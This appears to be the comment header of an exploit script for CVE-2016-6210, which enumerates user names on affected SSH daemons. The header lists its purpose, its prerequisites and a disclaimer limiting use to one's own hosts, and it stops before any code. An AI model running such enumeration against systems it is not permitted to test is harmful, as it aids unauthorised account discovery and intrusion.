#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
# 
# Date:                  2016-07-19
# 
# Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210. 
# 
# Prerequisites:         Network access to the SSH daemon.
#
# DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not 
#                        permitted to may put you in big trouble!
#
# And now - the fun part :-)
